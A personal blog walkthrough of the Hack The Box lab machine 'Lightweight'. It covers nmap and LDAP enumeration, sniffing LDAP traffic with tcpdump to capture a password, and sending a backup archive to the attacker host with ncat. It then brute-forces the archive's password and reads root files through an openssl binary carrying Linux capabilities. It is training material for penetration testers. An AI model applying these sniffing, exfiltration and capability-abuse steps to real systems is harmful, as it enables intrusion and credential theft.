I’ve just found out that Lightweight is being retired on Saturday. It’s now Wednesday at around 10:30pm. I have work tomorrow and Friday and am out Friday evening all weekend.
So we get have a very short time for this!
Let’s dig it!
First, as always lets run an nmap:
nmap -sC -sV -p- -O -oA nmap/Lightweight 10.10.10.119
We get a few good results:
3 ports are open, SSH on 22, HTTP on 80 and LDAP on 389.
First lets go and take a look at the webpage.
The site immediately tells us it is protected against brute forcing. Whereas I’d normally get dirbuster running straight away, I’m not going to in this instance.
The user page gives us some good information. An SSH session has been created for us with our username and password as our IP address.
So, let’s connect in via SSH.
ssh 10.10.14.39@10.10.10.119
We connect with the right password. As requested, first step is change our password. There is some password restrictions, it can’t be shorter than 7 characters and can’t be based on a dictionary word. This might come in useful later. If anyone is interested, my password changed to “ReadMyBlog”
So first, what type of linux is this:
cat /etc/os-release
It is a CentOS Linux 7 (Core) box.
Next let’s see what users we have on this box. Looking at /etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin libstoragemgmt:x:998:997:daemon account for libstoragemgmt:/var/run/lsm:/sbin/nologin abrt:x:173:173::/etc/abrt:/sbin/nologin rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin ntp:x:38:38::/etc/ntp:/sbin/nologin chrony:x:997:995::/var/lib/chrony:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin ldap:x:55:55:OpenLDAP server:/var/lib/ldap:/sbin/nologin saslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologin ldapuser1:x:1000:1000::/home/ldapuser1:/bin/bash ldapuser2:x:1001:1001::/home/ldapuser2:/bin/bash 10.10.14.39:x:1008:1008::/home/10.10.14.39:/bin/bash
Interesting, we have ldapuser1 and ldapuser2. Not unexpectedly we don’t have permission to view their home directories.
LDAP is the Lightweight Directory Access Protocol (read Lightweight, goes nicely with the box name!) to allow access to directory services. It’s similar to a database but with more descriptive, attribute based information.
So lets have a dig around and see if we can find any ldap client on the box:
locate *ldap*
We get a few results and it looks like openldap is installed within /etc/
What is in there! There is an ldap.conf file with a very interesting line:
TLS_CACERTDIR /etc/openldap/certs
In that folder are a few files that are readable by all:
Doing a string on those db’s didn’t produce too much.
Let’s have a quick scout round elsewhere and see what else we can find.
In the /etc directory there is a ssh folder, looking in there has some interesting results:
So we can read the config and public keys. Let’s get those across to our host and try them for both users ldap1 and ldap2. (No I don’t think it will work, but a quick win is a quick win).
A quick try to add my user to the ssh_keys group sadly didn’t work!
In news that will shock absolutely no-one. The keys did not work for either ldapuser1 or ldapuser2 (or root, but that was pushing it)!
I think the OpenLDAP is the way to do this, but before we go and learn a bunch about that. Let’s quickly bring over pspy64 so we can see all processes and LinEnum so we know what we are really looking at.
Hosting a SimpleHTTPServer on my host box:
python -m SimpleHTTPServer 8001
I wget on lightweight into my home directory.
wget 10.10.14.39:8001/pspy64s wget 10.10.14.39:8001/LinEnum.sh
Making both those executable, let’s look at pspy64s first, to see what’s running. Well that just errors, forever. Not ideal. Let’s try LinEnum first.
Nothing of huge interest comes up. Maybe it’s time to dig into OpenLDAP!
The thing that keeps bugging me, is those .db files. Let’s go take another look over there!
Doing a quick strings on each one, cert8.db:
lightweight.htb OpenLDAP Server Version ?t=f=t= lightweight.htb0 180609133251Z 190609133251Z0 lightweight.htb0 {RMI %Xh> uCHEB h hC @0>0< lightweight.htb localhost localhost.localdomain0 6^ S OpenLDAP Server lightweight.htb OpenLDAP Server lightweight.htb lightweight.htb
In key3.db:
2global-salt Kpassword-check Version hSud xA$ql =ME7 ?Un$^7 ">E}oyS }!./Z {a ' ]~t/ CP mU {RMI %Xh> uCHEB h hC
In cert8.db:
lightweight.htb OpenLDAP Server Version ?t=f=t= lightweight.htb0 180609133251Z 190609133251Z0 lightweight.htb0 {RMI %Xh> uCHEB h hC @0>0< lightweight.htb localhost localhost.localdomain0 6^ S OpenLDAP Server lightweight.htb OpenLDAP Server lightweight.htb lightweight.htb
Ok, I’m not seeing anything here, other than the ldap server is lightweight.htb which isn’t a surprise.
A quick google shows some LDAP enumeration tools, nmap has one called “ldap-search” as part of their script engine. Let’s try this out!
nmap -p 389 --script ldap-search 10.10.10.119
This gives a lot of output:
The two really interesting things, are that we have ldapuser1 with a password hash of:
userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/
And ldapuser2 with a password hash of:
userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1
However these passwords are salted and we do not know what the salt is. This means that cracking these becomes insanely difficult and not the route that I think we need to go here.
I’ve looked round this box. I’ve tried doing netstats, tcpdumps and other enumeration techniques and I am just completley missing whatever it is I’m looking for! This is an absolute 100% fail right now!
Looking round a bit further, under /run there is another openldap folder.
This contains:
slapd.args slapd.pid
The PID shows the PID number, which is 1355.
The args file shows slightly more:
/usr/sbin/slapd -u ldap -h ldapi:/// ldap:///
What this tells us, is the user running ldap is called “ldap” not “ldapuser1” or “ldapsuser2”
Ok, I’ve given up and read some hints off the forum. The hint to try and use tcpdump to listen to the LDAP traffic.
So I have 2 TCPdumps started:
tcpdump -i ens33 port 389 tcpdump -i lo port 389
The other interesting thing I fond earlier, was that LDAP was also doing things locally over port 33888, so I edit my local tcpdump to listen for that too.
tcpdump -i lo port 389 or port 33888
So this shows me some traffic is travelling across the box:
This is coming to and from ldap, so that’s good. It might be just what we need. However, we need the actual data, not just the fact there is traffic.
tcpdump -i lo port 389 or port 33888 -s0 -A
While I was running TCPDump I carried on clicking around on the website. Not sure if it helped, but….
TCPDump has come up with some goods!
So along with the uid of ldapuser2. We get a code at the end:
8bc8251332abe1d7f105d3e53ad39ac2
Is this an SSH password? It reads a bit like an MD5 hash. I headed over to https://hashkiller.co.uk/Cracker/MD5 and gave it a go but no luck. Let’s see if it’s an SSH password.
Tried this and it didn’t work, but hold on. I’m already on the box. I can change user easier.
su ldapuser2
Retrying the password and boom!
Just a small note here. I would never have got this without hints from the forum. I hadn’t really used TCPDump before, so this was a good learning experience and only took ~2 hours! (Yes it’s 00:35 and yes I still have work in the morning!)
Right, it’s time to do some searching. Over to the home directory for ldapuser2 and boom. We have a user flag!
So in this directory, we have some interesting PDFs that I’d like but what peaks my interest most in the backup.7z. That could have anything in!
I’ve previously tried to do a SimpleHTTPServer on this box and it just hasn’t worked! So we need to think of another method. SCP is what I normally use but I have GUIs and tools, not done it via the command line before. We want to grab files from a remote machine and put them on our machine so we use:
scp ldapuser2@10.10.10.119:/home/ldapuser2/backup.7z /root/Documents/htb/Lightweight/SCP/
We get prompted for the password and bugger. It doesn’t work. Just like it didn’t for ssh’ing!
Let’s go more basic, we can see that ncat is installed. So let’s start a listener on our host machine to direct all received data into backup.7z:
nc -nvlp 8005 > backup.7z
On the remote machine lets send the data:
./ncat -nv 10.10.14.39 8005 < backup.7z
This worked and the 7z file has moved across.
I had to get ncat onto the box, luckily my good friend zephrfish has got a git-repo of compiled tools which are available here: https://github.com/ZephrFish/static-tools
Let’s try to open this. To do this, we already have p7zip installed
p7zip x backup.7z
Oh bugger!
Let’s try user2’s password. No good. Although it does leak some data of the files we have:
ERROR: Data Error in encrypted file. Wrong password? : index.php ERROR: Data Error in encrypted file. Wrong password? : info.php ERROR: Data Error in encrypted file. Wrong password? : reset.php ERROR: Data Error in encrypted file. Wrong password? : status.php ERROR: Data Error in encrypted file. Wrong password? : user.php
These are the same as are in the web directory that we couldn’t read earlier as they were owned by root with root privileges earlier! I feel these might have a password in!
So we need to crack this file, luckily John the Ripper has a 7zip2john script.
This took me a bit of time to get working, I ended up downloading this entire git repo: https://github.com/truongkma/ctf-tools/
I copied the Backup into the /John/run folder and ran:
./7z2john.py Backup.7z
Shit.
Backup.7z : 7-Zip files without header encryption are *not* supported yet!
Now I’m stuck. We have 2 options, either the error is correct and we can’t get a hash out of the 7z file. Or the netcat transfer of the file borked it somehow.
To see if my exfil didn’t work properly, I copied across the 7z2john.py across to Lightweight, using the simpleHTTPServer and wget.
python -m SimpleHTTPServer 8001 wget http://10.10.14.39:8001/7z2john.py
Run the script and exact same result. So we can’t get a hash out of the 7zip file. So we have to bruteforce the 7z file another way.
Luckily my colleague pointed me towards this: https://github.com/Seyptoo/7z-BruteForce
Downloading the repo, allowing the script to execute, copying both the 7z file and rockyou wordlist into the folder, we run:
./7z-BruteForce Backup.7z rockyou.txt
After leaving that for a fair while (think like ~2/3 hours)… I got no-where!
So, I found this git repo: https://gist.github.com/bcoles/421cc413d07cd9ba7855
Downloaded this and tried running it again.
This was nicer for me, as it spammed my console, so I knew it was doing stuff!
Leaving that for a while…. well actually only about 5 minutes and boom!
So now we have the files as excepted! Rather than working through these 1 at a time, we still haven’t got access to ldapuser1, so let’s do a grep for that:
grep -iR ldapuser1 .
We have 2 results, both are within status.php page. Looking in that file, we have what we need:
Let’s try ldapuser1 with f3ca9d298a553da117442deeb6fa932d
Success! Yesss!
As always, lets hop over to the home directory and see what we have!
Normally these would be quite interesting, but I feel these are the steps we have done to get here and therefore are just rabbit holes. Let’s look elsewhere first!
So, this is a bit of a shame but in my panic and delirium of last night, looking on the forums I did read a hint for the next part. The hint was capabilities. A quick google brings up this blog: https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/
Let’s follow this and give it a go!
The first command we run is:
getcap -r / 2>/dev/null
This will show us what programs have what capabilities. The results are in:
This makes sense as how we could run tcpdump not as root previously! Sadly however tar isn’t on the list, so we can’t just follow that blog. Also none of them have the “read” option, so using the same method but with a different tool.
Interestingly through, openssl is there as an option, creating certificates and logging on with them seems a bit of a kerfuffle.
Having a look through the capabilities manpage against what capabilities we have listed I find this:
CAP_SETGID * Make arbitrary manipulations of process GIDs and supplementary GID list; * forge GID when passing socket credentials via UNIX domain sockets; * write a group ID mapping in a user namespace (see user_namespaces(7)).
This capability is set to “suexec” so we had best learn what that does, but first some more reading about user_namespaces is key. The document explains that:
A process's user and group IDs can be different inside and outside a user namespace. In particular, a process can have a normal unprivileged user ID outside a user namespace while at the same time having a user ID of 0 inside the namespace; in other words, the process has full privileges for operations inside the user namespace, but is unprivileged for operations outside the namespace.
To read the flag, it sounds exactly like what we want. Trying a:
suexec
It just errors with permission denied. Maybe this isn’t the route in.
Also, it bugs me that openssl is in our home directory and was listed in the capabilities search. This has niggled my brain, typical CTF rules, rather than real life engagements is coming into play here.
So, what can we do with OpenSSL? We can create certificates and log in(?). Let’s give it a go, it makes sense in my brain!
Before doing that I decided to have a very quick bit of googling for openssl and priv esc just in case I’d overlooked something obvious. What did I find, well I found me another article: https://medium.com/@int0x33/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099 – This is a bit shitty though as it’s the how to guide, they haven’t even scrubbed out ldapuser1 in one of the screengrabs and it was posted on Feb 12!! This comment is brilliant and worth sharing. Shitbag is such a great insult!
This is literally how to privesc using openssl, but I guess I have a walkthrough now…
So to start the prep we need to create a new key, that we can use later:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
Follow the prompts, it shouldn’t really matter what you put in. We now have 2 files:
cert.pem key.pem
So far, this is standard usage of openssl and the way we would use it to create certificates for our SSL needs.
Then we go to the root directory:
cd /
Create a server using openssl and the keys we just created:
openssl s_server -key /home/ldapuser1/Yekki/key.pem -cert /home/ldapuser1/Yekki/cert.pem -port 9001 -HTTP
We then ssh into the box in another window and try to read some files:
curl -k "https://127.0.0.1:9001/root/root.txt"
Using -k to skip any SSL certificate errors, this will read the root.txt file.
Bugger!
Error opening 'root/root.txt' 139875197392784:error:0200100D:system library:fopen:Permission denied:bss_file.c:175:fopen('root/root.txt','r')
So, this hasn’t worked. Maybe I can read the shadow file and try to crack that:
curl -k "https://127.0.0.1:9001/etc/shadow"
Same result. Ok, so we can’t read those. How about something we do have permission to read as this user. Such as the key.pem file we just created.
curl -k "https://127.0.0.1:9001/home/ldapuser1/Yekki/key.pem"
Success!
So we can read files off the box, but only with the same permissions that we have. Let’s try the user.txt under ldapuser2.
Again permission denied. So although this is a clever use of openSSL. We haven’t done anything clever to use the capabilities exploit we learnt about earlier. Maybe because I created everything in ldapuser1, not in an open directory like temp?
Let’s do the same method, but use /tmp like the guide did.
Same result. This is confusing, I feel we are right on the verge of copying the answers which lead us to greatness here!
So, I have no doubt you’ve realised where I’ve fucked up. Remember earlier, we found out the capabilities with get-cap and we got these results
Well, yes, it’s only the openssl binary in /home/ldapsure1 that has that capability. I’ve been doing everything with the generally installed openssl, so of course it hasn’t done what we need it to:
So, let’s try all this again, using the openssl binary in the ldapuser1 directory.
This time I did it all in the user directory to try to minimise spoilers for people! So our new server command is:
/home/ldapuser1/openssl s_server -key /home/ldapuser1/key.pem -cert /home/ldapuser1/cert.pem -port 9001 -HTTP
We make our curl request and:
Hooray, we have the root flag!
This was great. I enjoyed it! For those interested, it’s now Thursday at 18:45ish. Luckily my work rocks and I did the entire 7zip brute forcing during office hours. The perks of working at a pentest company, they don’t mind me learning!
I feel I learnt a lot here. I know understand TCPDump better and see the huge uses that it can provide. I really like that ps aux only shows the processes being run by that user, that’s a brilliant thing to implement, especially for HTB boxes!
I felt I really deserved that user flag, we worked hard, we learnt a lot!
The root, maybe slightly less, we did get a walkthrough but we still picked up some skills regarding capabilities and how they work. They are definitely on my enumeration list for future boxes!
Thanks for reading my ramblings! Now go and enjoy a 75 minute Ippsec video on the box!